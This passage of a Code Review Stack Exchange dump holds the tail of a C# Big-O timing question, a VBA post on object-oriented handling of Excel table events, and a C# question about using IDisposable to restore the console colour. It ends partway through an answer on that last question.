Answer for index 2799 is 685
Answer for index 2822 is 723
Answer for index 2877 is 714
Answer for index 3000 is 746
Answer for index 3100 is 753
Answer for index 3109 is 754
Answer for index 3112 is 763
Answer for index 3117 is 2024
Answer for index 3200 is 772
Answer for index 3211 is 821
Answer for index 3216 is 802
Answer for index 3219 is 788
Answer for index 3232 is 775
Answer for index 3500 is 848
Answer for index 3666 is 896
Answer for index 3777 is 917
Answer for index 4000 is 976
Answer for index 4022 is 972
Answer for index 4089 is 1145
Answer for index 4122 is 1047
Answer for index 4199 is 1031
Answer for index 4202 is 1033
Answer for index 4222 is 1151
Answer for index 5000 is 1588
Minimum Value: Key: NCubed, Value: 5895501.06936747
Test: N, result: 6386524.27502984
Test: NSquared, result: 6024667.62732316
Test: NCubed, result: 5895501.06936747
Test: NLogN, result: 6332154.89282043
Test: LogN, result: 6969133.89207915
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-02T22:59:06.860",
"Id": "463662",
"Score": "2",
"body": "Just a suggestion, there are a lot of variables that affect runtime. Rather than try to account (or not) for them yourself, use the [BenchmarkDotNet](https://benchmarkdotnet.org/) NuGet package to do the measurements for you."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-03T00:23:17.547",
"Id": "463665",
"Score": "1",
"body": "Thank you @JesseC.Slicer ! I was not aware of BenchmarkDotNet. I briefly looked at it and it doesn't seem to directly calculate BigO complexity, but perhaps it can be used to achieve that. I still have this lurking suspicion that there are libraries out there that already do exactly what I'm trying to do. They'd be useful for my learning. Thanks!"
}
] |
[] |
{
"AcceptedAnswerId": null,
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-02T22:21:42.370",
"Id": "236557",
"Score": "1",
"Tags": [
"c#",
"performance",
"algorithm",
"complexity"
],
"Title": "My C# code to evaluate order of algorithm is returning logN or N^3 instead of N for simple loop"
}
|
236557
|
<p>This is a follow up to <a href="https://codereview.stackexchange.com/questions/235449/managing-excel-tables-listobjects-with-oop-approach-follow-up">this question</a> and <a href="https://codereview.stackexchange.com/q/235164/197645">this question</a></p>
<h2>Objective:</h2>
<p>Manage what happens when users interact with Excel Tables (<code>ListObjects</code>)</p>
<h2>Code incorporates:</h2>
<p><strong>Mathieu's suggestions:</strong></p>
<ul>
<li>ITables: Refactored interface and it's implementation</li>
<li>Tables: Hide <code>SheetTables</code> collection and exposed as a <code>SheetTable(item)</code> property</li>
<li>Tables: Added <code>NewEnum</code> property (couldn't make it work)</li>
<li>Tables: Added <code>DefaultMember</code> (couldn't make it work)</li>
<li>All: Removed the <code>eval</code> prefix in variables</li>
</ul>
<p><strong>New features:</strong></p>
<ul>
<li>Handle events when TableSheet_Change:
<ul>
<li>Columns deleted</li>
<li>Rows deleted</li>
<li>Columns added (special case)</li>
<li>Rows added</li>
<li>Cells changed</li>
</ul></li>
</ul>
<hr>
<h2>Known issues:</h2>
<ul>
<li>Tried to test the <code>Enum property</code> and the <code>DefaultMember</code>, but couldn't make it work. Followed <a href="https://riptutorial.com/vba/example/18935/vb--var-usermemid" rel="nofollow noreferrer">this tutorial</a>, applied <a href="https://github.com/rubberduck-vba/Rubberduck/wiki/VB_Attribute-Annotations" rel="nofollow noreferrer">Rubberducks annotations</a> and checked <a href="https://stackoverflow.com/questions/57899393/error-438-getting-default-member-in-custom-class">this previous mistake</a></li>
<li>Haven't implemented the case for handling when user deletes the last row (<a href="https://stackoverflow.com/a/15667123/1521579">this would be the way</a>)</li>
</ul>
<hr>
<h2>Questions:</h2>
<ol>
<li>Could this be simplified?</li>
<li>Is there a way to unit test these classes? is there a benefit to do it?</li>
<li>Any suggestion to improve it is welcome</li>
</ol>
<hr>
<h2>Sample file:</h2>
<p>You can download the file with code from <a href="https://1drv.ms/x/s!ArAKssDW3T7wnL16h0Pp86DSpY6Wfg?e=lOJMKN" rel="nofollow noreferrer">this link (read-only)</a></p>
<hr>
<h2>File structure:</h2>
<p><a href="https://i.stack.imgur.com/8RLk9.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/8RLk9.png" alt="File structure"></a></p>
<h2>Code:</h2>
<p>Sheet: <code>Sample</code></p>
<pre><code>'@Folder("Test")
Option Explicit
Private newTables As ITables
Private Sub Worksheet_Activate()
InitTables
End Sub
Private Sub Worksheet_Deactivate()
Set newTables = Nothing
End Sub
Private Sub InitTables()
Set newTables = Tables.Create(Me)
End Sub
</code></pre>
<p>Class: <code>Tables</code></p>
<pre><code>'@Folder("TableManager")
'@PredeclaredId
Option Explicit
'@MemberAttribute VB_VarHelpID, -1
Private WithEvents SheetEvents As Excel.Worksheet
Private Type TTables
Sheet As Worksheet
SheetTables As Collection
Counter As Long
End Type
Private this As TTables
Implements ITables
Public Function Create(ByVal SourceSheet As Worksheet) As ITables
With New Tables
Set .Sheet = SourceSheet
Set Create = .Self
.LoadTables
End With
End Function
Public Property Get Self() As Tables
Set Self = Me
End Property
'@Enumerator
Public Property Get NewEnum() As IUnknown
Set NewEnum = this.SheetTables.[_NewEnum]
End Property
'@DefaultMember
Public Property Get SheetTable(ByVal index As Variant) As ITable
Set SheetTable = this.SheetTables.Item(index).TableEvents
End Property
Private Property Get ITables_SheetTable(ByVal index As Variant) As ITable
Set ITables_SheetTable = SheetTable(index)
End Property
Public Property Get Sheet() As Worksheet
Set Sheet = this.Sheet
End Property
Friend Property Set Sheet(ByVal Value As Worksheet)
Set SheetEvents = Value
Set this.Sheet = Value
End Property
Private Property Get ITables_Sheet() As Worksheet
Set ITables_Sheet = Sheet
End Property
Public Property Get Counter() As Long
Counter = this.Counter
End Property
Friend Property Let Counter(ByVal Value As Long)
this.Counter = Value
End Property
Private Property Get ITables_Counter() As Long
ITables_Counter = this.Counter
End Property
Public Sub LoadTables()
If Not this.SheetTables Is Nothing Then Counter = this.SheetTables.Count
Select Case True
Case Counter = 0
AddAllTablesInSheet
Case Counter < Sheet.ListObjects.Count
OnAddedTable Sheet.ListObjects(Sheet.ListObjects.Count)
Case Counter > Sheet.ListObjects.Count
OnDeletedTables
End Select
Counter = Sheet.ListObjects.Count
End Sub
Private Sub AddAllTablesInSheet()
Dim Table As ListObject
Set this.SheetTables = New Collection
For Each Table In Sheet.ListObjects
OnAddedTable Table
Next Table
End Sub
Private Sub AddNewTable(ByVal NewTable As ListObject)
Dim NewSheetTable As SheetTable
Set NewSheetTable = New SheetTable
Set NewSheetTable.TableEvents = Table.Create(NewTable)
this.SheetTables.Add NewSheetTable, NewTable.Name
End Sub
Friend Sub OnAddedTable(ByVal NewTable As ListObject)
AddNewTable NewTable
'MsgBox "The " & NewTable.Name & " table was added"
End Sub
Friend Sub OnDeletedTables()
Dim Counter As Long
If this.SheetTables Is Nothing Then Exit Sub
For Counter = this.SheetTables.Count To 1 Step -1
If IsConnected(this.SheetTables.Item(Counter).TableEvents.SourceTable) = False Then
Dim tableName As String
Dim PreviousValues As Variant
tableName = this.SheetTables.Item(Counter).TableEvents.Name
PreviousValues = this.SheetTables.Item(Counter).TableEvents.PreviousValues
OnDeletedTable tableName, PreviousValues
this.SheetTables.Remove tableName
End If
Next Counter
End Sub
Friend Sub OnDeletedTable(ByVal DeletedTableName As String, ByVal PreviousValues As Variant)
MsgBox "The table " & DeletedTableName & " was deleted and it had " & UBound(PreviousValues, 1) & " row(s) and " & UBound(PreviousValues, 2) & " column(s)"
End Sub
Private Sub SheetEvents_Change(ByVal Target As Range)
LoadTables
End Sub
Private Sub SheetEvents_SelectionChange(ByVal Target As Range)
LoadTables
End Sub
</code></pre>
<p>Class: <code>Table</code></p>
<pre><code>'@Folder("TableManager")
'@PredeclaredId
Option Explicit
'@MemberAttribute VB_VarHelpID, -1
Private WithEvents TableSheet As Excel.Worksheet
Private Type TTable
SourceTable As ListObject
UpdatedRange As Range
AddedRange As Range
LastRowCount As Long
LastColumnCount As Long
Name As String
PreviousSelectionTableName As String
PreviousRangeAddress As String
PreviousRange As Range
PreviousValues As Variant
RowsAdded As Long
ColumnsAdded As Long
Action As String
End Type
Private this As TTable
Public Event Changed(ByVal cell As Range)
Public Event AddedNewRow(ByVal AddedRange As Range)
Public Event AddedNewColumn(ByVal AddedRange As Range)
Public Event DeletedRow(ByVal deletedTarget As Range)
Public Event DeletedColumn(ByVal deletedTarget As Range)
Implements ITable
Public Function Create(ByVal Source As ListObject) As ITable
With New Table
Set .SourceTable = Source
.Name = Source.Name
.PreviousRangeAddress = Source.Range.Address
.PreviousValues = Source.Range.Value
Set Create = .Self
End With
End Function
Public Property Get Self() As Table
Set Self = Me
End Property
Public Property Get Name() As String
Name = this.Name
End Property
Public Property Let Name(ByVal Value As String)
this.Name = Value
End Property
Public Property Get PreviousRange() As Range
Set PreviousRange = TableSheet.Range(this.PreviousRangeAddress)
End Property
Public Property Get PreviousRangeAddress() As String
PreviousRangeAddress = this.PreviousRangeAddress
End Property
Public Property Let PreviousRangeAddress(ByVal Value As String)
this.PreviousRangeAddress = Value
End Property
Public Property Get PreviousValues() As Variant
PreviousValues = this.PreviousValues
End Property
Public Property Let PreviousValues(ByVal Value As Variant)
this.PreviousValues = Value
End Property
Public Property Get SourceTable() As ListObject
Set SourceTable = this.SourceTable
End Property
Public Property Set SourceTable(ByVal Value As ListObject)
ThrowIfSet this.SourceTable
ThrowIfNothing Value
Set TableSheet = Value.Parent
Set this.SourceTable = Value
Resize
End Property
Private Property Get ITable_Name() As String
ITable_Name = Name
End Property
Private Property Get ITable_SourceTable() As ListObject
Set ITable_SourceTable = SourceTable
End Property
Friend Sub OnChanged()
RaiseEvent Changed(this.UpdatedRange)
End Sub
Friend Sub OnAddedNewRow()
RaiseEvent AddedNewRow(this.AddedRange)
End Sub
Friend Sub OnAddedNewColumn()
RaiseEvent AddedNewColumn(this.AddedRange)
End Sub
Friend Sub OnDeletedRow(ByVal deletedTarget As Range)
RaiseEvent DeletedRow(deletedTarget)
End Sub
Friend Sub OnDeletedColumn(ByVal deletedTarget As Range)
RaiseEvent DeletedColumn(deletedTarget)
End Sub
Private Sub ThrowIfNothing(ByVal Target As Object)
If Target Is Nothing Then Err.Raise 5, TypeName(Me), "Argument cannot be a null reference."
End Sub
Private Sub ThrowIfSet(ByVal Target As Object)
If Not Target Is Nothing Then Err.Raise 5, TypeName(Me), "This reference is already set."
End Sub
Private Sub RecordPreviousValues(ByVal Target As Range)
If IsConnected(this.SourceTable) = False Then Exit Sub
If TypeName(Target.ListObject) = "ListObject" Then this.PreviousSelectionTableName = Target.ListObject.Name
this.PreviousRangeAddress = SourceTable.Range.Address
this.PreviousValues = SourceTable.Range.Value
End Sub
Private Sub RecordChange(ByVal Target As Range)
this.Action = GetAction
Set this.UpdatedRange = Intersect(Target, PreviousRange)
Set this.AddedRange = Target
End Sub
Private Sub ResizeAndRecordPrevious(ByVal Target As Range)
Resize
RecordPreviousValues Target
End Sub
Private Sub Resize()
With this.SourceTable
this.LastRowCount = .ListRows.Count
this.LastColumnCount = .ListColumns.Count
End With
End Sub
'@Description("When a table's range is changed, it combines an existing range and a new range, this handles both cases")
Private Sub ProcessRange()
If Not this.UpdatedRange Is Nothing Then OnChanged
If Not this.AddedRange Is Nothing Then
Select Case this.Action
Case "columns added"
OnAddedNewColumn
Case "rows added"
OnAddedNewRow
End Select
End If
End Sub
Private Sub TableSheet_Activate()
RecordPreviousValues Selection
End Sub
Private Sub TableSheet_Change(ByVal Target As Range)
' This event happens for every table that is in the sheet
' Events order interchangeable:
' Columns added | Headers changed | Cells changed
' Rows added | Cells changed
Dim changedRange As Range
Dim Action As String
If Not IsConnected(this.SourceTable) Then Exit Sub
Action = GetAction
Select Case True
Case Action = "columns deleted"
Set changedRange = Intersect(Target, PreviousRange)
OnDeletedColumn changedRange
ResizeAndRecordPrevious changedRange
Case Action = "rows deleted"
Set changedRange = Intersect(Target, PreviousRange)
OnDeletedRow changedRange
ResizeAndRecordPrevious changedRange
Case Action = "columns added" And this.ColumnsAdded = 0
' If columns are added two scenarios may happen:
' 1. If range added includes column headers:
' Three events are fired: 1) When each cell of each column header is added, 2) when each range of the body range is added, 3) When each header is changed from default to new value
' 2. If not:
' Two events are fired: 1) When each cell of each column header is added, 2) when each range of the body range is added
If Not IsValidTable(Target) Then Exit Sub
Set changedRange = Intersect(Target, SourceTable.Range)
' + 1 because we are processing each column header and (1) for the body ranges
this.ColumnsAdded = SourceTable.ListColumns.Count - this.LastColumnCount + 1
RecordChange changedRange
ProcessRange
this.ColumnsAdded = this.ColumnsAdded - 1
Case Action = "columns added" And this.ColumnsAdded > 0
If Not IsValidTable(Target) Then Exit Sub
Set changedRange = Intersect(Target, SourceTable.Range)
this.ColumnsAdded = this.ColumnsAdded - 1
RecordChange changedRange
ProcessRange
If this.ColumnsAdded = 0 Then ResizeAndRecordPrevious Target
Case Action = "rows added"
If Not IsValidTable(Target) Then Exit Sub
Set changedRange = Intersect(Target, SourceTable.Range)
RecordChange changedRange
ProcessRange
ResizeAndRecordPrevious changedRange
Case Action = "cells changed"
If Not IsValidTable(Target) Then Exit Sub
Set changedRange = Intersect(Target, SourceTable.Range)
RecordChange changedRange
ProcessRange
ResizeAndRecordPrevious changedRange
End Select
End Sub
Private Sub TableSheet_SelectionChange(ByVal Target As Range)
If Not IsConnected(this.SourceTable) Then Exit Sub
If Not TypeName(Target.ListObject) = "ListObject" Then Exit Sub
If Not Target.ListObject.Name = SourceTable.Name Then Exit Sub
RecordPreviousValues Target
End Sub
Private Function GetAction() As String
Dim Action As String
Select Case True
Case SourceTable.ListColumns.Count > this.LastColumnCount
Action = "columns added"
Case SourceTable.ListRows.Count > this.LastRowCount
Action = "rows added"
Case SourceTable.ListColumns.Count < this.LastColumnCount
Action = "columns deleted"
Case SourceTable.ListRows.Count < this.LastRowCount
Action = "rows deleted"
Case SourceTable.DataBodyRange Is Nothing
'TODO: implement case (MsgBox SourceTable.Name & " has no data") https://stackoverflow.com/a/15667123/1521579
Case Else
Action = "cells changed"
End Select
GetAction = Action
End Function
Private Function IsValidTable(ByVal Target As Range) As Boolean
If Not TypeName(Target.ListObject) = "ListObject" Then Exit Function
If Not Target.ListObject.Name = SourceTable.Name Then Exit Function
If PreviousRangeAddress = vbNullString Then Exit Function
IsValidTable = True
End Function
</code></pre>
<p>Class: <code>SheetTable</code></p>
<pre><code>'@Folder("TableManager")
'@PredeclaredId
Option Explicit
'@MemberAttribute VB_VarHelpID, -1
Private WithEvents myTable As Table
Public Property Get TableEvents() As Table
Set TableEvents = myTable
End Property
Public Property Set TableEvents(ByVal Value As Table)
Set myTable = Value
End Property
Private Sub MyTable_AddedNewColumn(ByVal AddedRange As Range)
Dim rangeColumn As Range
For Each rangeColumn In AddedRange.Columns
MsgBox "Added new table column in sheet column " & rangeColumn.Column & " and table column: " & GetCellColumn(myTable.SourceTable, rangeColumn) & ". Range address: " & rangeColumn.Address
Next rangeColumn
End Sub
Private Sub MyTable_AddedNewRow(ByVal AddedRange As Range)
Dim rangeRow As Range
For Each rangeRow In AddedRange.Rows
MsgBox "Added new table row in sheet row " & rangeRow.row & " and table row: " & GetCellRow(myTable.SourceTable, rangeRow) & ". Range address: " & rangeRow.Address
Next rangeRow
End Sub
Private Sub MyTable_Changed(ByVal changedRange As Range)
Dim cell As Range
For Each cell In changedRange.Cells
MsgBox "Changed " & cell.Address & " which belongs to the table: " & myTable.SourceTable.Name & _
" row in table: " & GetCellRow(myTable.SourceTable, cell) & " column in table: " & GetCellColumn(myTable.SourceTable, cell) & _
" previous value was: " & myTable.PreviousValues(GetCellRow(myTable.SourceTable, cell), GetCellColumn(myTable.SourceTable, cell)) & _
" new value is: " & cell.Value
Next cell
End Sub
Private Sub MyTable_DeletedColumn(ByVal deletedRange As Range)
Dim rangeColumn As Range
Dim cell As Range
Dim tableRow As Long
Dim tableColumn As Long
For Each rangeColumn In deletedRange.Columns
tableColumn = GetCellColumnInRange(rangeColumn, myTable.PreviousRange)
For Each cell In rangeColumn.Cells
tableRow = GetCellRowInRange(cell, myTable.PreviousRange)
MsgBox "Deleted column " & tableColumn & " with value: " & myTable.PreviousValues(tableRow, tableColumn)
Next cell
Next rangeColumn
End Sub
Private Sub MyTable_DeletedRow(ByVal deletedRange As Range)
Dim rangeRow As Range
Dim cell As Range
Dim tableRow As Long
Dim tableColumn As Long
For Each rangeRow In deletedRange.Rows
tableRow = GetCellRowInRange(rangeRow, myTable.PreviousRange)
For Each cell In rangeRow.Cells
tableColumn = GetCellColumnInRange(cell, myTable.PreviousRange)
MsgBox "Deleted row " & tableRow & " with value: " & myTable.PreviousValues(tableRow, tableColumn)
Next cell
Next rangeRow
End Sub
Private Sub MyTable_DeletedTable(ByVal tableName As String)
MsgBox "Deleted table: " & tableName
End Sub
</code></pre>
<p>Class interface: <code>ITables</code></p>
<pre><code>'@Folder("TableManager")
'@Interface
Option Explicit
Public Property Get SheetTable(ByVal index As Variant) As ITable
End Property
Public Property Get Sheet() As Worksheet
End Property
Public Property Get Counter() As Long
End Property
</code></pre>
<p>Class interface: <code>ITable</code></p>
<pre><code>'@Folder("TableManager")
'@Interface
Option Explicit
Public Property Get SourceTable() As ListObject
End Property
Public Property Get Name() As String
End Property
</code></pre>
<p>Class: <code>FastUnions</code></p>
<pre><code>'@Folder("Framework.FastUnions")
Option Explicit
Private Unions As Collection
Public Sub Add(ByVal Obj As FastUnion)
Unions.Add Obj
End Sub
'@DefaultMember
Public Property Get Item(ByVal index As Variant) As FastUnion
Set Item = Unions.Item(index)
End Property
Public Property Get Count() As Long
Count = Unions.Count
End Property
Private Sub Class_Initialize()
Set Unions = New Collection
End Sub
Private Sub Class_Terminate()
Set Unions = Nothing
End Sub
Public Function Items() As Collection
Set Items = Unions
End Function
</code></pre>
<p>Class: <code>FastUnion</code></p>
<pre><code>'@Folder("Framework.FastUnions")
' https://codereview.stackexchange.com/questions/224874/brute-force-looping-formatting-or-create-union-range-format-which-is-effici/226296#226296
Option Explicit
Private Const DefaultCellCountGoal As Long = 250
Private RangeItems As New Collection
Private Item As Range
Private CellCountGoal As Long
Public Sub Add(ByRef NewRange As Range)
If Item Is Nothing Then
Set Item = NewRange
Else
Set Item = Union(Item, NewRange)
End If
If Item.CountLarge >= CellCountGoal Then Compact
End Sub
Private Sub Class_Initialize()
CellCountGoal = DefaultCellCountGoal
End Sub
Public Function Items() As Collection
Compact
Set Items = RangeItems
End Function
Private Sub Compact()
If Not Item Is Nothing Then
RangeItems.Add Item
Set Item = Nothing
End If
End Sub
</code></pre>
<p>Module: <code>RangeU</code></p>
<pre><code>'@Folder("Framework")
Option Explicit
Public Function NotIntersect(ByVal FirstRange As Range, ByVal SecondRange As Range) As Range
' Credits: https://codereview.stackexchange.com/a/226296/197645
' Adapted to extract the non intersected cells between to ranges by Ricardo Diaz
Dim evalCell As Range
Dim parcialRange As Range
Dim resultRange As Range
Dim newUnion As FastUnion
Dim newUnions As FastUnions
If Intersect(FirstRange, SecondRange) Is Nothing Then
Set NotIntersect = Nothing
Exit Function
End If
Set newUnions = New FastUnions
Set newUnion = New FastUnion
' Add cells in first range that don't intersect second range
For Each evalCell In FirstRange
If Intersect(evalCell, SecondRange) Is Nothing Then newUnion.Add evalCell
Next evalCell
If newUnion.Items.Count > 0 Then newUnions.Add newUnion
' Add cells in second range that don't intersect first range
For Each evalCell In SecondRange
If Intersect(evalCell, FirstRange) Is Nothing Then newUnion.Add evalCell
Next evalCell
If newUnion.Items.Count > 0 Then newUnions.Add newUnion
' Return cells in unions to range
For Each newUnion In newUnions.Items
For Each parcialRange In newUnion.Items
If resultRange Is Nothing Then
Set resultRange = parcialRange
Else
Set resultRange = Union(resultRange, parcialRange)
End If
Next parcialRange
Next newUnion
Set NotIntersect = resultRange
End Function
</code></pre>
<p>Module: <code>ObjectU</code></p>
<pre><code>'@Folder("Framework.Utilities")
Option Explicit
Private Const C_ERR_NO_ERROR = 0&
Private Const C_ERR_OBJECT_VARIABLE_NOT_SET = 91&
Private Const C_ERR_OBJECT_REQUIRED = 424&
Private Const C_ERR_DOES_NOT_SUPPORT_PROPERTY = 438&
Private Const C_ERR_APPLICATION_OR_OBJECT_ERROR = 1004&
Public Function IsConnected(ByVal Obj As Object) As Boolean
' Credits: http://www.cpearson.com/excel/ConnectedObject.htm
' Adapted by: Ricardo Diaz
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' IsConnected
' By Chip Pearson, chip@cpearson.com, www.cpearson.com
' http://www.cpearson.com/excel/ConnectedObject.htm
'
' This procedure determines whether an object type variable is still connected
' to its target. An object variable can become disconnected from its target
' when the target object is destroyed. For example, the following code will
' raise an automation error because the target of the variable WS had been
' destoryed.
'
' Dim WS As Worksheet
' Set WS = ActiveSheet
' ActiveSheet.Delete
' Debug.Print WS.Name
'
' This code will fail on the "Debug.Print WS.Name" because the worksheet to
' which WS referenced was destoryed. It is important to note that WS will NOT
' be set to Nothing when the worksheet is deleted.
'
' This procedure attempts to call the Name method of the Obj variable and
' then tests the result of Err.Number. We'll get the following error
' numbers:
' C_ERR_NO_ERROR
' No error occurred. We successfully retrieved the Name
' property. This indicates Obj is still connected to its
' target. Return TRUE.
'
' C_ERR_OBJECT_VARIABLE_NOT_SET
' We'll get this error if the Obj variable has been
' disconnected from its target. Return FALSE.
'
' C_ERR_DOES_NOT_SUPPORT_PROPERTY
' We'll get this error if the Obj variable does not have
' a name property. In this case, the Obj variable is still
' connected to its target. Return True.
'
' C_ERR_APPLICATION_OR_OBJECT_ERROR
' This is a generic error message. If we get this error, we need to
' do further testing to get the connected state.
'
' These are the only values that Err.Number should return. If we receive
' another error, err on the side of caution and return False.
'
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'@Ignore VariableNotUsed
Dim NameProp As String
'@Ignore VariableNotUsed
Dim ParentObj As Object
On Error Resume Next
Err.Clear
NameProp = Obj.Name
Select Case Err.Number
Case C_ERR_NO_ERROR
' We'll get this result if we retrieve the Name property of Obj.
' Obj is connected.
IsConnected = True
Case C_ERR_DOES_NOT_SUPPORT_PROPERTY
' We'll get this result if Obj does not have a name property. This
' still indicates that Obj is connected.
IsConnected = True
Case C_ERR_OBJECT_VARIABLE_NOT_SET
' This indicates that Obj was Nothing, which we will treat
' as disconnected. If you want Nothing to indicate connected,
' test the variable Is Nothing before calling this procedure.
IsConnected = False
Case C_ERR_OBJECT_REQUIRED
' This indicates the object is disconnected. Return False
IsConnected = False
Case C_ERR_APPLICATION_OR_OBJECT_ERROR
' This error may occur when the object is either connected or disconnected.
' In this case, attempt to get the Parent property of the object.
Err.Clear
Set ParentObj = Obj.Parent
Select Case Err.Number
Case C_ERR_NO_ERROR
' we succuesfully got the parent object. Obj is connected.
IsConnected = True
Case C_ERR_DOES_NOT_SUPPORT_PROPERTY
' we'll get this error if Obj does not have a Parent property. This
' still indicates that Obj is connected.
IsConnected = True
Case C_ERR_OBJECT_VARIABLE_NOT_SET
' we'll get this error if Obj is disconnected
IsConnected = False
Case Else
IsConnected = False
End Select
Case Else
' we should never get here, but return False if we do
IsConnected = False
End Select
On Error GoTo 0
End Function
</code></pre>
<p>Module: <code>ListObjectU</code></p>
<pre><code>'@Folder("Framework")
Option Explicit
Public Function GetCellRow(ByVal myTable As ListObject, ByVal cell As Range) As Long
' Reference: https://stackoverflow.com/a/49638668/1521579
GetCellRow = cell.row - myTable.HeaderRowRange.row + 1
End Function
Public Function GetCellColumn(ByVal myTable As ListObject, ByVal cell As Range) As Long
GetCellColumn = cell.Column - myTable.HeaderRowRange.Column + 1
End Function
Public Function GetCellColumnInRange(ByVal cell As Range, ByVal TargetRange As Range) As Long
' Credits: https://stackoverflow.com/a/30846062/1521579
' Adapted by: Ricardo Diaz
If Not Intersect(cell, TargetRange) Is Nothing Then
GetCellColumnInRange = Range(cell(1), TargetRange(1)).Columns.Count
End If
End Function
Public Function GetCellRowInRange(ByVal cell As Range, ByVal TargetRange As Range) As Long
' Credits: https://stackoverflow.com/a/30846062/1521579
' Adapted by: Ricardo Diaz
If Not Intersect(cell, TargetRange) Is Nothing Then
GetCellRowInRange = Range(cell(1), TargetRange(1)).Rows.Count
End If
End Function
</code></pre>
<p>Module: <code>TestModule</code></p>
<pre><code>'@Folder("Test")
Option Explicit
Public Sub Testing()
Dim TablesCol As ITables
Dim STable As Variant
Dim SampleSheet As Worksheet
Set SampleSheet = ThisWorkbook.Worksheets("Sample")
Set TablesCol = Tables.Create(SampleSheet)
Debug.Print TablesCol.SheetTable("Table1").Name
For Each STable In TablesCol
Debug.Print STable.SourceTable.Name
Next STable
End Sub
</code></pre>
<blockquote>
<p>Code has annotations from <a href="http://rubberduckvba.com/" rel="nofollow noreferrer">Rubberduck add-in</a></p>
</blockquote>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T22:19:31.313",
"Id": "463940",
"Score": "0",
"body": "I just wanted to say, that I really appreciate the time and effort that you put into your posts. I know how much it takes to write detailed posts like this, and It is not easy. Saying that, I haven't reviewed this thoroughly, but, one (albeit extremely nit picky) thing that stood out to me was the names of your events. Instead of naming something like `OnAddedNewRow`, I would say something like `OnRowAdd`. See <https://docs.microsoft.com/en-us/dotnet/standard/design-guidelines/names-of-type-members>"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T22:24:21.843",
"Id": "463941",
"Score": "2",
"body": "@rickmanalexander thank you. Will check the guidelines. I'm posting the code this way because I think that may help somebody else in the future. I've learned from other people that have done the same and the great answers from guys that take the time to review them."
}
] |
[] |
{
"AcceptedAnswerId": null,
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-03T01:07:15.507",
"Id": "236563",
"Score": "1",
"Tags": [
"object-oriented",
"vba",
"excel",
"rubberduck"
],
"Title": "Managing Excel Tables (ListObjects) with OOP Approach (Second follow up)"
}
|
236563
|
<p>There are the following class:</p>
<pre><code>class ConsoleForegroundColor : IDisposable
{
public ConsoleForegroundColor(ConsoleColor color)
{
OriginalColor = Console.ForegroundColor;
Console.ForegroundColor = color;
}
public ConsoleColor OriginalColor { get; set; }
public void Dispose()
{
Console.ForegroundColor = OriginalColor;
}
}
</code></pre>
<p>This has the following uses:</p>
<pre><code>Console.WriteLine("display with default color");
using (new ConsoleForegroundColor(ConsoleColor.Green))
{
Console.WriteLine("display with green");
}
Console.WriteLine("display with default color");
</code></pre>
<p>This source code changes the console font color to the specified color when creating an instance and restores it when discarded.</p>
<p>I think it's possible to think of the colors drawn on the console as resources, so I don't think it's so different from the original use of <code>IDisposable</code>. Is the use of <code>IDisposable</code> like this source code a source that is difficult to understand and maintain? If you have a better think, please tell me.</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-03T08:00:48.270",
"Id": "463679",
"Score": "0",
"body": "Is it the topic of StackOverflow, not here, whether the current IDisposable fits in treating colors as resources? Is Low rating voted come from for it?"
}
] |
[
{
"body": "<p>Readability-wise, this is fine, though I prefer <code>ConsoleForegroundBrush</code>, because it keeps the theme of Drawing library, which is well known, and in the real world, you can definitely destroy/dispose brushes / put them down, but disposing an actual colour would be like... changing the color of the text back to black?</p>\n\n<p>The main issue is there is a performance impact that comes with <code>using</code>, as this is really a <code>try</code>/<code>finally</code> block under the hood, and so you are adding <code>try</code>/<code>finally</code> around your code which may slow things down unnecessarily, particularly if there's other non-console logic in the using block. </p>\n\n<p>The using block can also sometimes hide other errors, because it's a <code>try</code>/<code>finally</code> block. If you put a <code>using</code> block inside a <code>try()</code> block and your <code>dispose</code> method of the <code>ConsoleForegroundColour</code> class throws an exception (such as if the Console became null somehow), you will probably only see the <code>Dispose()</code> exception, and not the other exception. This situation is highly unlikely to happen in your class though.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-03T11:38:15.547",
"Id": "463713",
"Score": "0",
"body": "I only partially agree: 1) to call it `*Brush` is a nice idea (even if actually it isn't) however 2) `using` is NOT a `try`/`catch` but a `try`/`finally` then no exceptions are thrown (it has a TINY overhead but it's so small that it's not even worthy to mention it). 3) If your `Dipose()` method throws then it's ill-designed: to put it simply...`Dispose()` MUST NOT throw (unfortunately setting `Console.ForegroundColor` might then OP's code MUST be wrapped in a proper `try`/`catch` to catch for `IOException`)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-03T23:54:24.013",
"Id": "463780",
"Score": "0",
"body": "I have changed comment to use try/finally. The overhead is small as you say, and as the console class is being used, it's unlikely that performance is not a concern - otherwise you'd use something faster that is non-blocking. Still, it is there and worth mentioning."
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-03T11:06:19.083",
"Id": "236574",
"ParentId": "236565",
"Score": "2"
}
},
{
"body": "<p>It's not so much what you do contentwise, allocating and freeing a resource is exactly what a <code>using</code> and <code>IDisposable</code> is made for.</p>\n\n<p>But the way you do it, is an absolute No-Go.</p>\n\n<p>You do not free ressources contained in your Disposable class. You free ressources in completly different classes, accessed by static properties. And Disposing means \"Destroy it\" - We don't need it any more. 5 Seconds before self destructions.\nIt does not mean to Reset something to an original state.</p>\n\n<p><a href=\"https://docs.microsoft.com/en-us/dotnet/standard/garbage-collection/implementing-dispose\" rel=\"nofollow noreferrer\">Your Dispose does not align with the idea of Dispose and is an abuse.</a></p>\n\n<p>You should go with a simple try/finally block. This is made for your purpose.</p>\n\n<pre><code>Console.WriteLine(\"display with default color\");\nvar cfc = new ConsoleForegroundColor(ConsoleColor.Green);\ntry\n{\n // do something dangerous\n Console.WriteLine(\"display with green\");\n}\nfinally\n{\n cfc.Reset(); // this is your Dispose method, just rename 